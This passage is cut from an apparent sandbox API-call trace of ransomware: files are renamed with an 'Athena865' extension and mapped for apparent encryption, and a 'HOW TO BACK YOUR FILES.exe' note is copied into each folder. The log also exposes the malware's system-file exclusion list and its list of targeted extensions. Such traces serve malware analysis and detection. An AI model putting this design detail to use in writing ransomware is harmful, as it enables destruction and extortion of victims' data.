hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.807] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0119.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0119.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0119.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0119.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.808] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.808] CloseHandle (hObject=0x154) returned 1 [0119.808] CloseHandle (hObject=0x17c) returned 1 [0119.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.808] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0119.808] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".") returned 1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="..") returned 1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="windows") returned -1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="temp") returned -1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="pagefile.sys") returned 1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="boot") returned 1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="ids.txt") returned 1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="ntuser.dat") returned 1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="perflogs") returned 1 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="MSBuild") returned 1 [0119.809] lstrlenW (lpString="Postage_SelectionSubpicture.png") returned 31 [0119.809] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Postage_SelectionSubpicture.png" | out: lpString1="Postage_SelectionSubpicture.png") returned="Postage_SelectionSubpicture.png" [0119.809] lstrlenW (lpString="Postage_SelectionSubpicture.png") returned 31 [0119.809] lstrlenW (lpString="Athena865") returned 9 [0119.809] lstrcmpiW (lpString1="cture.png", lpString2="Athena865") returned 1 [0119.809] lstrlenW (lpString=".dll") returned 4 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".dll") returned 1 [0119.809] lstrlenW (lpString=".lnk") returned 4 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".lnk") returned 1 [0119.809] lstrlenW (lpString=".ini") returned 4 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".ini") returned 1 [0119.809] lstrlenW (lpString=".sys") returned 4 [0119.809] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".sys") returned 1 [0119.809] lstrlenW (lpString="Postage_SelectionSubpicture.png") returned 31 [0119.809] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.Athena865") returned 85 [0119.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png.athena865"), dwFlags=0x1) returned 1 [0119.811] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.811] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5647) returned 1 [0119.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.812] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.812] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.812] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.813] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1910, lpName=0x0) returned 0x154 [0119.814] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1910) returned 0x100000 [0119.815] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.816] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.816] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0119.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0119.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0119.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0119.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.816] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.817] CloseHandle (hObject=0x154) returned 1 [0119.817] CloseHandle (hObject=0x17c) returned 1 [0119.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.817] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".") returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="..") returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="windows") returned -1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="bootmgr") returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="temp") returned -1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="pagefile.sys") returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="boot") returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="ids.txt") returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="ntuser.dat") returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="perflogs") returned 1 [0119.817] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="MSBuild") returned 1 [0119.817] lstrlenW (lpString="Postage_VideoInset.png") returned 22 [0119.817] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Postage_VideoInset.png" | out: lpString1="Postage_VideoInset.png") returned="Postage_VideoInset.png" [0119.817] lstrlenW (lpString="Postage_VideoInset.png") returned 22 [0119.818] lstrlenW (lpString="Athena865") returned 9 [0119.818] lstrcmpiW (lpString1="Inset.png", lpString2="Athena865") returned 1 [0119.818] lstrlenW (lpString=".dll") returned 4 [0119.818] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".dll") returned 1 [0119.818] lstrlenW (lpString=".lnk") returned 4 [0119.818] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".lnk") returned 1 [0119.818] lstrlenW (lpString=".ini") returned 4 [0119.818] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".ini") returned 1 [0119.818] lstrlenW (lpString=".sys") returned 4 [0119.818] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".sys") returned 1 [0119.818] lstrlenW (lpString="Postage_VideoInset.png") returned 22 [0119.818] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.Athena865") returned 76 [0119.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png.athena865"), dwFlags=0x1) returned 1 [0119.819] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.819] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3214) returned 1 [0119.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.822] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.823] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.823] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.823] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf90, lpName=0x0) returned 0x154 [0119.824] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf90) returned 0x100000 [0119.825] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.825] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.825] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0119.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0119.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0119.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0119.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.826] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.826] CloseHandle (hObject=0x154) returned 1 [0119.826] CloseHandle (hObject=0x17c) returned 1 [0119.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.826] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0119.826] lstrcmpiW (lpString1="Push", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.827] lstrcmpiW (lpString1="Push", lpString2=".") returned 1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="..") returned 1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="windows") returned -1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="bootmgr") returned 1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="temp") returned -1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="pagefile.sys") returned 1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="boot") returned 1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="ids.txt") returned 1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="ntuser.dat") returned 1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="perflogs") returned 1 [0119.827] lstrcmpiW (lpString1="Push", lpString2="MSBuild") returned 1 [0119.827] lstrlenW (lpString="Push") returned 4 [0119.827] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Push" | out: lpString1="Push") returned="Push" [0119.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552188 [0119.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e200 [0119.827] lstrcatW (in: lpString1="Push", lpString2="\\" | out: lpString1="Push\\") returned="Push\\" [0119.827] lstrcatW (in: lpString1="Push\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Push\\HOW TO BACK YOUR FILES.exe") returned="Push\\HOW TO BACK YOUR FILES.exe" [0119.827] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.832] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0119.832] lstrcmpiW (lpString1="Rectangles", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.832] lstrcmpiW (lpString1="Rectangles", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.832] lstrcmpiW (lpString1="Rectangles", lpString2=".") returned 1 [0119.832] lstrcmpiW (lpString1="Rectangles", lpString2="..") returned 1 [0119.832] lstrcmpiW (lpString1="Rectangles", lpString2="windows") returned -1 [0119.832] lstrcmpiW (lpString1="Rectangles", lpString2="bootmgr") returned 1 [0119.833] lstrcmpiW (lpString1="Rectangles", lpString2="temp") returned -1 [0119.833] lstrcmpiW (lpString1="Rectangles", lpString2="pagefile.sys") returned 1 [0119.833] lstrcmpiW (lpString1="Rectangles", lpString2="boot") returned 1 [0119.833] lstrcmpiW (lpString1="Rectangles", lpString2="ids.txt") returned 1 [0119.833] lstrcmpiW (lpString1="Rectangles", lpString2="ntuser.dat") returned 1 [0119.833] lstrcmpiW (lpString1="Rectangles", lpString2="perflogs") returned 1 [0119.833] lstrcmpiW (lpString1="Rectangles", lpString2="MSBuild") returned 1 [0119.833] lstrlenW (lpString="Rectangles") returned 10 [0119.833] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Rectangles" | out: lpString1="Rectangles") returned="Rectangles" [0119.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5521a0 [0119.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x538e10 [0119.833] lstrcatW (in: lpString1="Rectangles", lpString2="\\" | out: lpString1="Rectangles\\") returned="Rectangles\\" [0119.833] lstrcatW (in: lpString1="Rectangles\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Rectangles\\HOW TO BACK YOUR FILES.exe") returned="Rectangles\\HOW TO BACK YOUR FILES.exe" [0119.833] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.836] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.836] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.836] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.836] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".") returned 1 [0119.836] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="..") returned 1 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="windows") returned -1 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="temp") returned -1 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="boot") returned 1 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.837] lstrlenW (lpString="rectangle_babypink_Thumbnail.bmp") returned 32 [0119.837] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_babypink_Thumbnail.bmp" | out: lpString1="rectangle_babypink_Thumbnail.bmp") returned="rectangle_babypink_Thumbnail.bmp" [0119.837] lstrlenW (lpString="rectangle_babypink_Thumbnail.bmp") returned 32 [0119.837] lstrlenW (lpString="Athena865") returned 9 [0119.837] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.837] lstrlenW (lpString=".dll") returned 4 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.837] lstrlenW (lpString=".lnk") returned 4 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.837] lstrlenW (lpString=".ini") returned 4 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.837] lstrlenW (lpString=".sys") returned 4 [0119.837] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.837] lstrlenW (lpString="rectangle_babypink_Thumbnail.bmp") returned 32 [0119.837] lstrlenW (lpString="bak") returned 3 [0119.837] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0119.837] lstrlenW (lpString="ba_") returned 3 [0119.837] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0119.837] lstrlenW (lpString="dbb") returned 3 [0119.837] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0119.837] lstrlenW (lpString="vmdk") returned 4 [0119.838] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0119.838] lstrlenW (lpString="rar") returned 3 [0119.838] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0119.838] lstrlenW (lpString="zip") returned 3 [0119.838] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0119.838] lstrlenW (lpString="tgz") returned 3 [0119.838] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0119.838] lstrlenW (lpString="vbox") returned 4 [0119.838] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0119.838] lstrlenW (lpString="vdi") returned 3 [0119.838] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0119.838] lstrlenW (lpString="vhd") returned 3 [0119.838] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0119.838] lstrlenW (lpString="vhdx") returned 4 [0119.838] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0119.838] lstrlenW (lpString="avhd") returned 4 [0119.838] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0119.838] lstrlenW (lpString="db") returned 2 [0119.838] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0119.838] lstrlenW (lpString="db2") returned 3 [0119.838] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0119.838] lstrlenW (lpString="db3") returned 3 [0119.838] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0119.838] lstrlenW (lpString="dbf") returned 3 [0119.838] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0119.838] lstrlenW (lpString="mdf") returned 3 [0119.838] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0119.838] lstrlenW (lpString="mdb") returned 3 [0119.838] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0119.839] lstrlenW (lpString="sql") returned 3 [0119.839] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0119.839] lstrlenW (lpString="sqlite") returned 6 [0119.839] lstrcmpiW (lpString1="il.bmp", lpString2="sqlite") returned -1 [0119.839] lstrlenW (lpString="sqlite3") returned 7 [0119.839] lstrcmpiW (lpString1="ail.bmp", lpString2="sqlite3") returned -1 [0119.839] lstrlenW (lpString="sqlitedb") returned 8 [0119.839] lstrcmpiW (lpString1="nail.bmp", lpString2="sqlitedb") returned -1 [0119.839] lstrlenW (lpString="xml") returned 3 [0119.839] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0119.839] lstrlenW (lpString="$er") returned 3 [0119.839] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0119.839] lstrlenW (lpString="4dd") returned 3 [0119.839] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0119.839] lstrlenW (lpString="4dl") returned 3 [0119.839] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0119.839] lstrlenW (lpString="^^^") returned 3 [0119.839] 